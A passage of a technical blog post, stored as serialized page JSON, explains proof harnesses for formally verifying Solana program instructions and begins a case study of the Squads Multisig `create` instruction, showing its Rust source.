(",{"type":26,"tag":53,"props":21930,"children":21932},{"className":21931},[3691,3692],[21933],{"type":26,"tag":475,"props":21934,"children":21936},{"className":21935},[3697],[21937],{"type":26,"tag":475,"props":21938,"children":21940},{"className":21939,"ariaHidden":3703},[3702],[21941],{"type":26,"tag":475,"props":21942,"children":21944},{"className":21943},[3708],[21945,21949,21954],{"type":26,"tag":475,"props":21946,"children":21948},{"className":21947,"style":21291},[3713],[],{"type":26,"tag":475,"props":21950,"children":21952},{"className":21951,"style":21297},[3719,21296],[21953],{"type":32,"value":21300},{"type":26,"tag":475,"props":21955,"children":21957},{"className":21956},[3719],[21958],{"type":32,"value":3732},{"type":32,"value":21960},") should hold since we will verify all of the functions eventually.",{"type":26,"tag":35,"props":21962,"children":21963},{},[21964,21966],{"type":32,"value":21965},"So we are trying to prove that ",{"type":26,"tag":53,"props":21967,"children":21969},{"className":21968},[3691,3692],[21970],{"type":26,"tag":475,"props":21971,"children":21973},{"className":21972},[3697],[21974],{"type":26,"tag":475,"props":21975,"children":21977},{"className":21976,"ariaHidden":3703},[3702],[21978,22015,22047],{"type":26,"tag":475,"props":21979,"children":21981},{"className":21980},[3708],[21982,21986,21991,21996,22001,22005,22011],{"type":26,"tag":475,"props":21983,"children":21985},{"className":21984,"style":3821},[3713],[],{"type":26,"tag":475,"props":21987,"children":21989},{"className":21988},[21425],[21990],{"type":32,"value":626},{"type":26,"tag":475,"props":21992,"children":21994},{"className":21993,"style":21297},[3719,21296],[21995],{"type":32,"value":21300},{"type":26,"tag":475,"props":21997,"children":21999},{"className":21998},[3719],[22000],{"type":32,"value":3732},{"type":26,"tag":475,"props":22002,"children":22004},{"className":22003,"style":3801},[3800],[],{"type":26,"tag":475,"props":22006,"children":22008},{"className":22007},[3806],[22009],{"type":32,"value":22010},"∧",{"type":26,"tag":475,"props":22012,"children":22014},{"className":22013,"style":3801},[3800],[],{"type":26,"tag":475,"props":22016,"children":22018},{"className":22017},[3708],[22019,22023,22028,22033,22037,22043],{"type":26,"tag":475,"props":22020,"children":22022},{"className":22021,"style":3821},[3713],[],{"type":26,"tag":475,"props":22024,"children":22026},{"className":22025,"style":21828},[3719,21296],[22027],{"type":32,"value":21831},{"type":26,"tag":475,"props":22029,"children":22031},{"className":22030},[21447],[22032],{"type":32,"value":2835},{"type":26,"tag":475,"props":22034,"children":22036},{"className":22035,"style":3898},[3800],[],{"type":26,"tag":475,"props":22038,"children":22040},{"className":22039},[3903],[22041],{"type":32,"value":22042},"→",{"type":26,"tag":475,"props":22044,"children":22046},{"className":22045,"style":3898},[3800],[],{"type":26,"tag":475,"props":22048,"children":22050},{"className":22049},[3708],[22051,22055,22060],{"type":26,"tag":475,"props":22052,"children":22054},{"className":22053,"style":21291},[3713],[],{"type":26,"tag":475,"props":22056,"children":22058},{"className":22057,"style":21297},[3719,21296],[22059],{"type":32,"value":21300},{"type":26,"tag":475,"props":22061,"children":22063},{"className":22062},[3719],[22064],{"type":32,"value":3722},{"type":26,"tag":35,"props":22066,"children":22067},{},[22068],{"type":32,"value":22069},"We can construct a proof harness like the following:",{"type":26,"tag":465,"props":22071,"children":22073},{"code":22072,"language":19169,"meta":7,"className":19170,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[22074],{"type":26,"tag":53,"props":22075,"children":22076},{"__ignoreMap":7},[22077,22085,22102],{"type":26,"tag":475,"props":22078,"children":22079},{"class":477,"line":478},[22080],{"type":26,"tag":475,"props":22081,"children":22082},{"style":499},[22083],{"type":32,"value":22084},"assume(P0)\n",{"type":26,"tag":475,"props":22086,"children":22087},{"class":477,"line":516},[22088,22093,22097],{"type":26,"tag":475,"props":22089,"children":22090},{"style":499},[22091],{"type":32,"value":22092},"res ",{"type":26,"tag":475,"props":22094,"children":22095},{"style":714},[22096],{"type":32,"value":786},{"type":26,"tag":475,"props":22098,"children":22099},{"style":499},[22100],{"type":32,"value":22101}," instruction_handler(...)\n",{"type":26,"tag":475,"props":22103,"children":22104},{"class":477,"line":539},[22105,22109,22113,22118,22123,22128],{"type":26,"tag":475,"props":22106,"children":22107},{"style":586},[22108],{"type":32,"value":19692},{"type":26,"tag":475,"props":22110,"children":22111},{"style":499},[22112],{"type":32,"value":626},{"type":26,"tag":475,"props":22114,"children":22116},{"style":22115},"--shiki-default:#F44747",[22117],{"type":32,"value":20329},{"type":26,"tag":475,"props":22119,"children":22120},{"style":499},[22121],{"type":32,"value":22122},"K ",{"type":26,"tag":475,"props":22124,"children":22125},{"style":22115},[22126],{"type":32,"value":22127},"||",{"type":26,"tag":475,"props":22129,"children":22130},{"style":499},[22131],{"type":32,"value":22132}," P1)\n",{"type":26,"tag":35,"props":22134,"children":22135},{},[22136],{"type":32,"value":22137},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":26,"tag":41,"props":22139,"children":22141},{"id":22140},"positive-instruction-invariant",[22142],{"type":32,"value":22143},"Positive instruction invariant",{"type":26,"tag":35,"props":22145,"children":22146},{},[22147,22149,22155,22157,22208],{"type":32,"value":22148},"Next we need to prove that ",{"type":26,"tag":53,"props":22150,"children":22152},{"className":22151},[],[22153],{"type":32,"value":22154},"success_if",{"type":32,"value":22156}," is a sufficient condition for instruction success. I.e. ",{"type":26,"tag":53,"props":22158,"children":22160},{"className":22159},[3691,3692],[22161],{"type":26,"tag":475,"props":22162,"children":22164},{"className":22163},[3697],[22165],{"type":26,"tag":475,"props":22166,"children":22168},{"className":22167,"ariaHidden":3703},[3702],[22169,22195],{"type":26,"tag":475,"props":22170,"children":22172},{"className":22171},[3708],[22173,22177,22182,22186,22191],{"type":26,"tag":475,"props":22174,"children":22176},{"className":22175,"style":21291},[3713],[],{"type":26,"tag":475,"props":22178,"children":22180},{"className":22179,"style":21755},[3719,21296],[22181],{"type":32,"value":21758},{"type":26,"tag":475,"props":22183,"children":22185},{"className":22184,"style":3898},[3800],[],{"type":26,"tag":475,"props":22187,"children":22189},{"className":22188},[3903],[22190],{"type":32,"value":22042},{"type":26,"tag":475,"props":22192,"children":22194},{"className":22193,"style":3898},[3800],[],{"type":26,"tag":475,"props":22196,"children":22198},{"className":22197},[3708],[22199,22203],{"type":26,"tag":475,"props":22200,"children":22202},{"className":22201,"style":21291},[3713],[],{"type":26,"tag":475,"props":22204,"children":22206},{"className":22205,"style":21828},[3719,21296],[22207],{"type":32,"value":21831},{"type":32,"value":353},{"type":26,"tag":35,"props":22210,"children":22211},{},[22212],{"type":32,"value":22213},"Just like before we can construct a proof harness:",{"type":26,"tag":465,"props":22215,"children":22217},{"code":22216,"language":19169,"meta":7,"className":19170,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[22218],{"type":26,"tag":53,"props":22219,"children":22220},{"__ignoreMap":7},[22221,22229,22244],{"type":26,"tag":475,"props":22222,"children":22223},{"class":477,"line":478},[22224],{"type":26,"tag":475,"props":22225,"children":22226},{"style":499},[22227],{"type":32,"value":22228},"assume(S)\n",{"type":26,"tag":475,"props":22230,"children":22231},{"class":477,"line":516},[22232,22236,22240],{"type":26,"tag":475,"props":22233,"children":22234},{"style":499},[22235],{"type":32,"value":22092},{"type":26,"tag":475,"props":22237,"children":22238},{"style":714},[22239],{"type":32,"value":786},{"type":26,"tag":475,"props":22241,"children":22242},{"style":499},[22243],{"type":32,"value":22101},{"type":26,"tag":475,"props":22245,"children":22246},{"class":477,"line":539},[22247,22251],{"type":26,"tag":475,"props":22248,"children":22249},{"style":586},[22250],{"type":32,"value":19692},{"type":26,"tag":475,"props":22252,"children":22253},{"style":499},[22254],{"type":32,"value":22255},"(K)\n",{"type":26,"tag":35,"props":22257,"children":22258},{},[22259,22261,22266,22268,22280],{"type":32,"value":22260},"This proof assures that whenever ",{"type":26,"tag":53,"props":22262,"children":22264},{"className":22263},[],[22265],{"type":32,"value":19862},{"type":32,"value":22267}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":26,"tag":2615,"props":22269,"children":22270},{},[22271,22273,22278],{"type":32,"value":22272},"even if ",{"type":26,"tag":53,"props":22274,"children":22276},{"className":22275},[],[22277],{"type":32,"value":19862},{"type":32,"value":22279}," is not satisfied",{"type":32,"value":22281},". To specify explicit error conditions we need our third and final proof.",{"type":26,"tag":41,"props":22283,"children":22285},{"id":22284},"_3-negative-instruction-invariant",[22286],{"type":32,"value":22287},"3. Negative instruction invariant",{"type":26,"tag":35,"props":22289,"children":22290},{},[22291,22293,22298,22300,22356],{"type":32,"value":22292},"Finally, we want to prove that ",{"type":26,"tag":53,"props":22294,"children":22296},{"className":22295},[],[22297],{"type":32,"value":19869},{"type":32,"value":22299}," is a sufficient condition for instruction failure. I.e. ",{"type":26,"tag":53,"props":22301,"children":22303},{"className":22302},[3691,3692],[22304],{"type":26,"tag":475,"props":22305,"children":22307},{"className":22306},[3697],[22308],{"type":26,"tag":475,"props":22309,"children":22311},{"className":22310,"ariaHidden":3703},[3702],[22312,22338],{"type":26,"tag":475,"props":22313,"children":22315},{"className":22314},[3708],[22316,22320,22325,22329,22334],{"type":26,"tag":475,"props":22317,"children":22319},{"className":22318,"style":21291},[3713],[],{"type":26,"tag":475,"props":22321,"children":22323},{"className":22322,"style":21755},[3719,21296],[22324],{"type":32,"value":21793},{"type":26,"tag":475,"props":22326,"children":22328},{"className":22327,"style":3898},[3800],[],{"type":26,"tag":475,"props":22330,"children":22332},{"className":22331},[3903],[22333],{"type":32,"value":22042},{"type":26,"tag":475,"props":22335,"children":22337},{"className":22336,"style":3898},[3800],[],{"type":26,"tag":475,"props":22339,"children":22341},{"className":22340},[3708],[22342,22346,22351],{"type":26,"tag":475,"props":22343,"children":22345},{"className":22344,"style":21291},[3713],[],{"type":26,"tag":475,"props":22347,"children":22349},{"className":22348},[3719],[22350],{"type":32,"value":21889},{"type":26,"tag":475,"props":22352,"children":22354},{"className":22353,"style":21828},[3719,21296],[22355],{"type":32,"value":21831},{"type":32,"value":353},{"type":26,"tag":35,"props":22358,"children":22359},{},[22360],{"type":32,"value":22361},"This harness looks just like the previous one:",{"type":26,"tag":465,"props":22363,"children":22365},{"code":22364,"language":19169,"meta":7,"className":19170,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[22366],{"type":26,"tag":53,"props":22367,"children":22368},{"__ignoreMap":7},[22369,22377,22392],{"type":26,"tag":475,"props":22370,"children":22371},{"class":477,"line":478},[22372],{"type":26,"tag":475,"props":22373,"children":22374},{"style":499},[22375],{"type":32,"value":22376},"assume(E)\n",{"type":26,"tag":475,"props":22378,"children":22379},{"class":477,"line":516},[22380,22384,22388],{"type":26,"tag":475,"props":22381,"children":22382},{"style":499},[22383],{"type":32,"value":22092},{"type":26,"tag":475,"props":22385,"children":22386},{"style":714},[22387],{"type":32,"value":786},{"type":26,"tag":475,"props":22389,"children":22390},{"style":499},[22391],{"type":32,"value":22101},{"type":26,"tag":475,"props":22393,"children":22394},{"class":477,"line":539},[22395,22399,22403,22407],{"type":26,"tag":475,"props":22396,"children":22397},{"style":586},[22398],{"type":32,"value":19692},{"type":26,"tag":475,"props":22400,"children":22401},{"style":499},[22402],{"type":32,"value":626},{"type":26,"tag":475,"props":22404,"children":22405},{"style":22115},[22406],{"type":32,"value":20329},{"type":26,"tag":475,"props":22408,"children":22409},{"style":499},[22410],{"type":32,"value":22411},"K)\n",{"type":26,"tag":35,"props":22413,"children":22414},{},[22415,22417,22421],{"type":32,"value":22416},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":26,"tag":2615,"props":22418,"children":22419},{},[22420],{"type":32,"value":16077},{"type":32,"value":22422}," the account invariants we expect are always being preserved.",{"type":26,"tag":27,"props":22424,"children":22426},{"id":22425},"case-study-squads-multisig",[22427],{"type":32,"value":22428},"Case study: Squads Multisig",{"type":26,"tag":35,"props":22430,"children":22431},{},[22432,22434,22439],{"type":32,"value":22433},"During our research, we focused on formally verifying aspects of the ",{"type":26,"tag":116,"props":22435,"children":22437},{"href":18533,"rel":22436},[120],[22438],{"type":32,"value":18537},{"type":32,"value":353},{"type":26,"tag":35,"props":22441,"children":22442},{},[22443,22445,22451,22453,22459],{"type":32,"value":22444},"The program defines a Multisig account (",{"type":26,"tag":53,"props":22446,"children":22448},{"className":22447},[],[22449],{"type":32,"value":22450},"Ms",{"type":32,"value":22452},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":26,"tag":53,"props":22454,"children":22456},{"className":22455},[],[22457],{"type":32,"value":22458},"threshold",{"type":32,"value":22460}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":26,"tag":35,"props":22462,"children":22463},{},[22464],{"type":32,"value":22465},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":26,"tag":35,"props":22467,"children":22468},{},[22469],{"type":32,"value":22470},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":26,"tag":181,"props":22472,"children":22473},{},[22474,22479,22484,22489],{"type":26,"tag":86,"props":22475,"children":22476},{},[22477],{"type":32,"value":22478},"Incrementally verifying minimum requirements to create a multisig",{"type":26,"tag":86,"props":22480,"children":22481},{},[22482],{"type":32,"value":22483},"Verify threshold requirements",{"type":26,"tag":86,"props":22485,"children":22486},{},[22487],{"type":32,"value":22488},"Verify requirements to remove a member",{"type":26,"tag":86,"props":22490,"children":22491},{},[22492],{"type":32,"value":22493},"Safety guarantees",{"type":26,"tag":41,"props":22495,"children":22497},{"id":22496},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[22498],{"type":32,"value":22499},"1. Incrementally verifying minimum requirements to create a multisig",{"type":26,"tag":35,"props":22501,"children":22502},{},[22503,22505,22510],{"type":32,"value":22504},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":26,"tag":53,"props":22506,"children":22508},{"className":22507},[],[22509],{"type":32,"value":19862},{"type":32,"value":22511}," expression.",{"type":26,"tag":35,"props":22513,"children":22514},{},[22515,22517,22522,22524,22530],{"type":32,"value":22516},"Creating a multisig (",{"type":26,"tag":53,"props":22518,"children":22520},{"className":22519},[],[22521],{"type":32,"value":22450},{"type":32,"value":22523},") requires invoking the ",{"type":26,"tag":53,"props":22525,"children":22527},{"className":22526},[],[22528],{"type":32,"value":22529},"create",{"type":32,"value":22531}," instruction:",{"type":26,"tag":465,"props":22533,"children":22535},{"code":22534,"language":2684,"meta":7,"className":2685,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[22536],{"type":26,"tag":53,"props":22537,"children":22538},{"__ignoreMap":7},[22539,22556,22611,22641,22649,22657,22674,22725,22775,22783,22824,22831,22847,22880,22922,22929,22936,22955,22983,23003,23023,23051,23070,23078,23106,23126,23146,23153,23161,23193,23216,23250,23257,23264,23272,23313,23345,23352,23359,23367,23442,23474,23481,23488,23524,23536,23548,23560,23613,23621],{"type":26,"tag":475,"props":22540,"children":22541},{"class":477,"line":478},[22542,22547,22552],{"type":26,"tag":475,"props":22543,"children":22544},{"style":499},[22545],{"type":32,"value":22546},"#[derive(",{"type":26,"tag":475,"props":22548,"children":22549},{"style":505},[22550],{"type":32,"value":22551},"Accounts",{"type":26,"tag":475,"props":22553,"children":22554},{"style":499},[22555],{"type":32,"value":19966},{"type":26,"tag":475,"props":22557,"children":22558},{"class":477,"line":516},[22559,22564,22568,22572,22577,22581,22585,22590,22594,22598,22602,22606],{"type":26,"tag":475,"props":22560,"children":22561},{"style":499},[22562],{"type":32,"value":22563},"#[instruction(threshold",{"type":26,"tag":475,"props":22565,"children":22566},{"style":714},[22567],{"type":32,"value":179},{"type":26,"tag":475,"props":22569,"children":22570},{"style":505},[22571],{"type":32,"value":20738},{"type":26,"tag":475,"props":22573,"children":22574},{"style":499},[22575],{"type":32,"value":22576},", create_key",{"type":26,"tag":475,"props":22578,"children":22579},{"style":714},[22580],{"type":32,"value":179},{"type":26,"tag":475,"props":22582,"children":22583},{"style":505},[22584],{"type":32,"value":20565},{"type":26,"tag":475,"props":22586,"children":22587},{"style":499},[22588],{"type":32,"value":22589},", members",{"type":26,"tag":475,"props":22591,"children":22592},{"style":714},[22593],{"type":32,"value":179},{"type":26,"tag":475,"props":22595,"children":22596},{"style":505},[22597],{"type":32,"value":21097},{"type":26,"tag":475,"props":22599,"children":22600},{"style":499},[22601],{"type":32,"value":5519},{"type":26,"tag":475,"props":22603,"children":22604},{"style":505},[22605],{"type":32,"value":21106},{"type":26,"tag":475,"props":22607,"children":22608},{"style":499},[22609],{"type":32,"value":22610},">)]\n",{"type":26,"tag":475,"props":22612,"children":22613},{"class":477,"line":539},[22614,22618,22622,22627,22632,22637],{"type":26,"tag":475,"props":22615,"children":22616},{"style":482},[22617],{"type":32,"value":13397},{"type":26,"tag":475,"props":22619,"children":22620},{"style":482},[22621],{"type":32,"value":20859},{"type":26,"tag":475,"props":22623,"children":22624},{"style":505},[22625],{"type":32,"value":22626}," Create",{"type":26,"tag":475,"props":22628,"children":22629},{"style":499},[22630],{"type":32,"value":22631},"\u003C'",{"type":26,"tag":475,"props":22633,"children":22634},{"style":505},[22635],{"type":32,"value":22636},"info",{"type":26,"tag":475,"props":22638,"children":22639},{"style":499},[22640],{"type":32,"value":6994},{"type":26,"tag":475,"props":22642,"children":22643},{"class":477,"line":548},[22644],{"type":26,"tag":475,"props":22645,"children":22646},{"style":499},[22647],{"type":32,"value":22648}," #[account(\n",{"type":26,"tag":475,"props":22650,"children":22651},{"class":477,"line":558},[22652],{"type":26,"tag":475,"props":22653,"children":22654},{"style":499},[22655],{"type":32,"value":22656}," init,\n",{"type":26,"tag":475,"props":22658,"children":22659},{"class":477,"line":582},[22660,22665,22669],{"type":26,"tag":475,"props":22661,"children":22662},{"style":499},[22663],{"type":32,"value":22664}," payer ",{"type":26,"tag":475,"props":22666,"children":22667},{"style":714},[22668],{"type":32,"value":786},{"type":26,"tag":475,"props":22670,"children":22671},{"style":499},[22672],{"type":32,"value":22673}," creator,\n",{"type":26,"tag":475,"props":22675,"children":22676},{"class":477,"line":596},[22677,22682,22686,22690,22694,22699,22703,22708,22712,22716,22720],{"type":26,"tag":475,"props":22678,"children":22679},{"style":499},[22680],{"type":32,"value":22681}," space ",{"type":26,"tag":475,"props":22683,"children":22684},{"style":714},[22685],{"type":32,"value":786},{"type":26,"tag":475,"props":22687,"children":22688},{"style":505},[22689],{"type":32,"value":20864},{"type":26,"tag":475,"props":22691,"children":22692},{"style":714},[22693],{"type":32,"value":3187},{"type":26,"tag":475,"props":22695,"children":22696},{"style":505},[22697],{"type":32,"value":22698},"SIZE_WITHOUT_MEMBERS",{"type":26,"tag":475,"props":22700,"children":22701},{"style":714},[22702],{"type":32,"value":8616},{"type":26,"tag":475,"props":22704,"children":22705},{"style":499},[22706],{"type":32,"value":22707}," (members",{"type":26,"tag":475,"props":22709,"children":22710},{"style":714},[22711],{"type":32,"value":353},{"type":26,"tag":475,"props":22713,"children":22714},{"style":499},[22715],{"type":32,"value":20729},{"type":26,"tag":475,"props":22717,"children":22718},{"style":714},[22719],{"type":32,"value":4282},{"type":26,"tag":475,"props":22721,"children":22722},{"style":499},[22723],{"type":32,"value":22724}," 32),\n",{"type":26,"tag":475,"props":22726,"children":22727},{"class":477,"line":610},[22728,22733,22737,22742,22747,22751,22755,22760,22765,22770],{"type":26,"tag":475,"props":22729,"children":22730},{"style":499},[22731],{"type":32,"value":22732}," seeds ",{"type":26,"tag":475,"props":22734,"children":22735},{"style":714},[22736],{"type":32,"value":786},{"type":26,"tag":475,"props":22738,"children":22739},{"style":499},[22740],{"type":32,"value":22741}," [",{"type":26,"tag":475,"props":22743,"children":22744},{"style":629},[22745],{"type":32,"value":22746},"b\"squad\"",{"type":26,"tag":475,"props":22748,"children":22749},{"style":499},[22750],{"type":32,"value":22576},{"type":26,"tag":475,"props":22752,"children":22753},{"style":714},[22754],{"type":32,"value":353},{"type":26,"tag":475,"props":22756,"children":22757},{"style":499},[22758],{"type":32,"value":22759},"as_ref(), ",{"type":26,"tag":475,"props":22761,"children":22762},{"style":629},[22763],{"type":32,"value":22764},"b\"multisig\"",{"type":26,"tag":475,"props":22766,"children":22767},{"style":499},[22768],{"type":32,"value":22769},"], ",{"type":26,"tag":475,"props":22771,"children":22772},{"style":2375},[22773],{"type":32,"value":22774},"bump\n",{"type":26,"tag":475,"props":22776,"children":22777},{"class":477,"line":650},[22778],{"type":26,"tag":475,"props":22779,"children":22780},{"style":499},[22781],{"type":32,"value":22782}," )]\n",{"type":26,"tag":475,"props":22784,"children":22785},{"class":477,"line":679},[22786,22790,22795,22799,22804,22808,22812,22816,22820],{"type":26,"tag":475,"props":22787,"children":22788},{"style":482},[22789],{"type":32,"value":20551},{"type":26,"tag":475,"props":22791,"children":22792},{"style":2375},[22793],{"type":32,"value":22794}," multisig",{"type":26,"tag":475,"props":22796,"children":22797},{"style":714},[22798],{"type":32,"value":179},{"type":26,"tag":475,"props":22800,"children":22801},{"style":505},[22802],{"type":32,"value":22803}," Account",{"type":26,"tag":475,"props":22805,"children":22806},{"style":499},[22807],{"type":32,"value":22631},{"type":26,"tag":475,"props":22809,"children":22810},{"style":505},[22811],{"type":32,"value":22636},{"type":26,"tag":475,"props":22813,"children":22814},{"style":499},[22815],{"type":32,"value":637},{"type":26,"tag":475,"props":22817,"children":22818},{"style":505},[22819],{"type":32,"value":22450},{"type":26,"tag":475,"props":22821,"children":22822},{"style":499},[22823],{"type":32,"value":5852},{"type":26,"tag":475,"props":22825,"children":22826},{"class":477,"line":735},[22827],{"type":26,"tag":475,"props":22828,"children":22829},{"emptyLinePlaceholder":18},[22830],{"type":32,"value":545},{"type":26,"tag":475,"props":22832,"children":22833},{"class":477,"line":744},[22834,22839,22843],{"type":26,"tag":475,"props":22835,"children":22836},{"style":499},[22837],{"type":32,"value":22838}," #[account(",{"type":26,"tag":475,"props":22840,"children":22841},{"style":482},[22842],{"type":32,"value":3430},{"type":26,"tag":475,"props":22844,"children":22845},{"style":499},[22846],{"type":32,"value":19966},{"type":26,"tag":475,"props":22848,"children":22849},{"class":477,"line":753},[22850,22854,22859,22863,22868,22872,22876],{"type":26,"tag":475,"props":22851,"children":22852},{"style":482},[22853],{"type":32,"value":20551},{"type":26,"tag":475,"props":22855,"children":22856},{"style":2375},[22857],{"type":32,"value":22858}," creator",{"type":26,"tag":475,"props":22860,"children":22861},{"style":714},[22862],{"type":32,"value":179},{"type":26,"tag":475,"props":22864,"children":22865},{"style":505},[22866],{"type":32,"value":22867}," Signer",{"type":26,"tag":475,"props":22869,"children":22870},{"style":499},[22871],{"type":32,"value":22631},{"type":26,"tag":475,"props":22873,"children":22874},{"style":505},[22875],{"type":32,"value":22636},{"type":26,"tag":475,"props":22877,"children":22878},{"style":499},[22879],{"type":32,"value":5852},{"type":26,"tag":475,"props":22881,"children":22882},{"class":477,"line":761},[22883,22887,22892,22896,22901,22905,22909,22913,22918],{"type":26,"tag":475,"props":22884,"children":22885},{"style":482},[22886],{"type":32,"value":20551},{"type":26,"tag":475,"props":22888,"children":22889},{"style":2375},[22890],{"type":32,"value":22891}," system_program",{"type":26,"tag":475,"props":22893,"children":22894},{"style":714},[22895],{"type":32,"value":179},{"type":26,"tag":475,"props":22897,"children":22898},{"style":505},[22899],{"type":32,"value":22900}," Program",{"type":26,"tag":475,"props":22902,"children":22903},{"style":499},[22904],{"type":32,"value":22631},{"type":26,"tag":475,"props":22906,"children":22907},{"style":505},[22908],{"type":32,"value":22636},{"type":26,"tag":475,"props":22910,"children":22911},{"style":499},[22912],{"type":32,"value":637},{"type":26,"tag":475,"props":22914,"children":22915},{"style":505},[22916],{"type":32,"value":22917},"System",{"type":26,"tag":475,"props":22919,"children":22920},{"style":499},[22921],{"type":32,"value":5852},{"type":26,"tag":475,"props":22923,"children":22924},{"class":477,"line":770},[22925],{"type":26,"tag":475,"props":22926,"children":22927},{"style":499},[22928],{"type":32,"value":3607},{"type":26,"tag":475,"props":22930,"children":22931},{"class":477,"line":794},[22932],{"type":26,"tag":475,"props":22933,"children":22934},{"emptyLinePlaceholder":18},[22935],{"type":32,"value":545},{"type":26,"tag":475,"props":22937,"children":22938},{"class":477,"line":831},[22939,22943,22947,22951],{"type":26,"tag":475,"props":22940,"children":22941},{"style":482},[22942],{"type":32,"value":13397},{"type":26,"tag":475,"props":22944,"children":22945},{"style":482},[22946],{"type":32,"value":13402},{"type":26,"tag":475,"props":22948,"children":22949},{"style":493},[22950],{"type":32,"value":6825},{"type":26,"tag":475,"props":22952,"children":22953},{"style":499},[22954],{"type":32,"value":3169},{"type":26,"tag":475,"props":22956,"children":22957},{"class":477,"line":845},[22958,22962,22966,22970,22974,22979],{"type":26,"tag":475,"props":22959,"children":22960},{"style":2375},[22961],{"type":32,"value":19931},{"type":26,"tag":475,"props":22963,"children":22964},{"style":714},[22965],{"type":32,"value":179},{"type":26,"tag":475,"props":22967,"children":22968},{"style":505},[22969],{"type":32,"value":19997},{"type":26,"tag":475,"props":22971,"children":22972},{"style":499},[22973],{"type":32,"value":5519},{"type":26,"tag":475,"props":22975,"children":22976},{"style":505},[22977],{"type":32,"value":22978},"Create",{"type":26,"tag":475,"props":22980,"children":22981},{"style":499},[22982],{"type":32,"value":5852},{"type":26,"tag":475,"props":22984,"children":22985},{"class":477,"line":854},[22986,22991,22995,22999],{"type":26,"tag":475,"props":22987,"children":22988},{"style":2375},[22989],{"type":32,"value":22990}," threshold",{"type":26,"tag":475,"props":22992,"children":22993},{"style":714},[22994],{"type":32,"value":179},{"type":26,"tag":475,"props":22996,"children":22997},{"style":505},[22998],{"type":32,"value":20738},{"type":26,"tag":475,"props":23000,"children":23001},{"style":499},[23002],{"type":32,"value":2425},{"type":26,"tag":475,"props":23004,"children":23005},{"class":477,"line":862},[23006,23011,23015,23019],{"type":26,"tag":475,"props":23007,"children":23008},{"style":2375},[23009],{"type":32,"value":23010}," create_key",{"type":26,"tag":475,"props":23012,"children":23013},{"style":714},[23014],{"type":32,"value":179},{"type":26,"tag":475,"props":23016,"children":23017},{"style":505},[23018],{"type":32,"value":20565},{"type":26,"tag":475,"props":23020,"children":23021},{"style":499},[23022],{"type":32,"value":2425},{"type":26,"tag":475,"props":23024,"children":23025},{"class":477,"line":885},[23026,23031,23035,23039,23043,23047],{"type":26,"tag":475,"props":23027,"children":23028},{"style":2375},[23029],{"type":32,"value":23030}," members",{"type":26,"tag":475,"props":23032,"children":23033},{"style":714},[23034],{"type":32,"value":179},{"type":26,"tag":475,"props":23036,"children":23037},{"style":505},[23038],{"type":32,"value":21097},{"type":26,"tag":475,"props":23040,"children":23041},{"style":499},[23042],{"type":32,"value":5519},{"type":26,"tag":475,"props":23044,"children":23045},{"style":505},[23046],{"type":32,"value":21106},{"type":26,"tag":475,"props":23048,"children":23049},{"style":499},[23050],{"type":32,"value":5852},{"type":26,"tag":475,"props":23052,"children":23053},{"class":477,"line":913},[23054,23058,23062,23066],{"type":26,"tag":475,"props":23055,"children":23056},{"style":499},[23057],{"type":32,"value":2794},{"type":26,"tag":475,"props":23059,"children":23060},{"style":714},[23061],{"type":32,"value":13464},{"type":26,"tag":475,"props":23063,"children":23064},{"style":505},[23065],{"type":32,"value":13469},{"type":26,"tag":475,"props":23067,"children":23068},{"style":499},[23069],{"type":32,"value":20039},{"type":26,"tag":475,"props":23071,"children":23072},{"class":477,"line":926},[23073],{"type":26,"tag":475,"props":23074,"children":23075},{"style":552},[23076],{"type":32,"value":23077}," // sort the members and remove duplicates\n",{"type":26,"tag":475,"props":23079,"children":23080},{"class":477,"line":948},[23081,23085,23089,23094,23098,23102],{"type":26,"tag":475,"props":23082,"children":23083},{"style":482},[23084],{"type":32,"value":2705},{"type":26,"tag":475,"props":23086,"children":23087},{"style":482},[23088],{"type":32,"value":2710},{"type":26,"tag":475,"props":23090,"children":23091},{"style":2375},[23092],{"type":32,"value":23093}," 